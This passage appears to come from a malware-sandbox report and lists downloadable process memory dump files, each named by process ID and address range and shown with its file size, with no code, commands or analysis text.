Download
memory/1108-73-0x0000000001D20000-0x0000000001D25000-memory.dmp

Filesize
20KB

Download
memory/1208-60-0x0000000002D20000-0x0000000002D30000-memory.dmp

Filesize
64KB

Download
memory/1596-103-0x00000000007B0000-0x00000000007B2000-memory.dmp

Filesize
8KB

Download
memory/1596-102-0x0000000075511000-0x0000000075513000-memory.dmp

Filesize
8KB

Download
memory/1816-66-0x0000000001B00000-0x0000000001B01000-memory.dmp

Filesize
4KB

Download
memory/1816-72-0x0000000001B90000-0x0000000001B91000-memory.dmp

Filesize
4KB

Download
memory/1816-61-0x0000000001CA0000-0x00000000025A4000-memory.dmp

Filesize
9.0MB

Download
memory/1816-69-0x0000000001B60000-0x0000000001B61000-memory.dmp

Filesize
4KB

Download
memory/1816-67-0x0000000001B10000-0x0000000001B11000-memory.dmp

Filesize
4KB

Download
memory/1816-74-0x0000000004230000-0x0000000004231000-memory.dmp

Filesize
4KB

Download
memory/1816-62-0x0000000000290000-0x0000000000291000-memory.dmp

Filesize
4KB

Download
memory/1816-70-0x0000000001B70000-0x0000000001B71000-memory.dmp

Filesize
4KB

Download
memory/1816-93-0x0000000004520000-0x0000000004521000-memory.dmp

Filesize
4KB

Download
memory/1816-64-0x00000000002B0000-0x00000000002B1000-memory.dmp

Filesize
4KB

Download
memory/1816-71-0x0000000001B80000-0x0000000001B81000-memory.dmp

Filesize
4KB

Download
memory/1816-63-0x00000000002A0000-0x00000000002A1000-memory.dmp

Filesize
4KB

Download
memory/1816-65-0x0000000000550000-0x0000000000551000-memory.dmp

Filesize
4KB

Download
memory/1816-68-0x0000000001B20000-0x0000000001B21000-memory.dmp

Filesize
4KB

Download